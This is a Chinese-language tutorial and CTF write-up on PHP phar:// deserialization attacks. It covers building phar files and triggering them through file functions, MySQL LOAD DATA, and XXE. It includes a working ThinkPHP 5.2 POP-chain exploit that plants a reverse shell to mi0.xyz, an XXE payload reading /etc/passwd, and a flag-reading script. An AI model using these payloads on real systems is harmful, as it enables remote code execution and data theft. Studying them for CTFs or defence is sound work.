0x00前言
在php中反序列漏洞,形成的原因首先需要一個unserialize()函數來處理我們傳入的可控的序列化payload。但是如果對unserialize()傳入的內容進行限制,甚至就不存在可利用的unserialize()函數的時候,就可以借助phar協議觸發反序列化操作了
0x01 構造有反序列化payload的phar文件
首先,phar是一種php語言的文件的后綴,所以生成phar文件要用到php語言,需要在php.ini中開啟相應的配置
phar.readonly = Off

生成phar文件的代碼如下
<?php
//反序列化payload構造
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
//設置stub,GIF89a可以改成其他的字段,繞過文件頭檢驗,但必須以 __HALT_COMPILER(); ?> 結尾
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
//將反序列化的對象放入該文件中
$o = new TestObject();
$o->data='just a test';
$phar->setMetadata($o);
//phar本質上是個壓縮包,所以要添加壓縮的文件和文件內容
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
嘗試一下,生成帶有payload的文件

簡單的說下phar文件格式
phar文件頭的識別格式是xxx+<?php __HALT_COMPILER(); ?>,只有這樣的格式才能被識別為phar文件phar是壓縮文件,那么壓縮文件的信息就會存在第二段manifest describing,這一段是放序列化的poc- 壓縮的文件的內容被存在第三段,也就是上面payload的中的
text.txt - 數字簽名為該
phar的第四段
了解phar文件格式,主要注意的點有2個,文件頭的合法性和壓縮文件信息處可自定義我們的payload
0x02 可觸發phar協議的函數
利用一個漏洞,最初要知道payload從哪里傳入,是哪個函數造成的,而php函數中支持偽協議的有很多,下面這張表就是能解析phar協議的函數(用一下別人的圖)

這些函數里面可以使用phar協議,當然還有常用的文件包含的幾個函數 include、include_once、requrie、require_once
做一個簡單的測試
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
include "phar://phar.phar/test.txt";
?>

同理,使用unlink()函數試試
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
unlink("phar://phar.phar/test.txt");
?>
可以看到,還是執行了,但是有warning說php.ini中的配置為phar.readonly(我是在虛擬機中開啟了phar.readonly =Off生成的payload ,我本地是沒有開的)

再測試下要有寫權限的file_put_contents()函數
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
file_put_contents("phar://phar.phar/test.txt","test.txt");
?>
結果是執行不了

因此雖然某些函數能夠支持phar://的協議,但是如果目標服務器沒有關閉phar.readonly時,就不能正常執行反序列化操作
在禁止phar開頭的情況下的替代方法
compress.zlib://phar://phar.phar/test.txt
compress.bzip2://phar://phar.phar/test.txt #可能是我本地環境問題,我本地試報錯找不到該協議
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
雖然會報warning,但是還是會執行
0x03 Mysql觸發反序列化
php調用mysql的語句LOAD DATA LOCAL INFILE導入phar文件也能觸發phar中的反序列化語句
首先說下LOAD DATA LOCAL INFILE這條語言,這條語句是用來通過文件批量給表里面insert數據的操作,完整的語句如下
LOAD DATA LOCAL INFILE '1.txt' into table user;

那么試試效果


這就是這條命令的正常用法
那么如果這個文件是利用了phar協議處理了的phar文件,格式如下
LOAD DATA LOCAL INFILE 'phar://phar.phar/test.txt' into table user;
嘗試一下,但是提示warning, LOAD DATA LOCAL INFILE forbidden
這是因為還要修改mysql中的my.ini中的配置,因此可以看出這種利用前提不是默認的,需要人為定義,添加下面的信息
local-infile=1
secure_file_priv=""

除了在my.ini中配置以外,還有個坑,在php.ini中需要將mysqli.allow_local_infile前面的注釋去掉

萬事具備,寫好代碼
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
//include "php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt";
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'ctf', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE user');
?>
嘗試一下,能夠觸發

甚至如果存在php語言寫的mysql客戶端可以任意連接遠程mysql服務器的情況下
這種時候可以利用Rogue-MySql-Server去讀對方的任意文件
但是去讀文件這個操作,如果使用phar協議,那么依然可以觸發反序列化,當然前提是你能把phar文件傳上去

0x04 通過XXE觸發反序列化
本來在總結這道知識點的時候,學長發給我一道紅帽CTF的題,剛好涉及到這方面的知識,運用的是XXE中使用phar協議來觸發反序列化,並且系統使用thinkphp 5.2,有公開的命令執行的pop鏈,拿shell,之后拿flag的一道題。
直接看題

隨便輸入,登錄成功,進去后有一個輸入框,有一個文件上傳點,提示只能上傳xml

輸入框,輸入后發現是傳輸的xml實體,於是試着利用XXE

查看下/etc/passwd
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<ticket><username>&c;</username><code>test2</code></ticket>

因為xxe能用file協議讀,也可以用php://filter協議讀,那么這個地方也可以使用phar://協議了
訪問一個不存在的鏈接,發現使用的是thinkphp 5.2,這個版本是有反序列化命令執行的pop鏈的

首先上傳上去,題目會根據你登錄的用戶名和密碼分配一個sandbox,

這里用NU1L戰隊的2019舉辦的N1CTF的反序列化pop鏈,然后我改了改
我這里第一步往我自己的sandbox下寫反彈shell的sh腳本
第二步,使用bash執行這個sh腳本
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("echo 'bash -i >& /dev/tcp/mi0.xyz/2333 0>&1' > /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");
//$Conver = new think\model\Pivot("bash /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //設置stub
$phar->setMetadata($payload); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>

生成phar文件,改后綴為xml上傳

因為phar協議,不管什么后綴,只要文件本身符合phar文件格式,就能正確執行,利用XXE觸發phar://協議

第二步寫執行test.sh文件,再次上傳個exp,利用XXE去訪問

服務器成功拿到shell

這里直接cat /flag被禁止了,直接運行./readfile不行

之后就是*CTF 2019的mywebsql 題目最后一步利用php腳本處理交互式的二進制文件交互
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 標准輸入,子進程從此管道中讀取數據
1 => array("pipe", "w"), // 標准輸出,子進程向此管道中寫入數據
2 => array("file", "/tmp/error-output.txt", "a") // 標准錯誤,寫入到一個文件
);
$cwd = '/tmp';
$env = array('some_option' => 'aeiou');
$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
$output1 = fread($pipes[1],1024);
var_dump($output);
$output2 = fread($pipes[1],1024);
var_dump($output);
$output3 = fread($pipes[1],1024);
var_dump($output);
$calc = trim($output2);
$an = eval("return $calc;");
var_dump($an);
fwrite($pipes[0], (string)$an."\n");
$output = stream_get_contents($pipes[1]);
var_dump($output);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
當然題目已經有很多師傅上傳上去的腳本了,直接執行即可

我不清楚是不是我服務器的問題?但我學長可以正常使用該腳本拿到flag (orz)

之后又嘗試了下,挺玄學的?

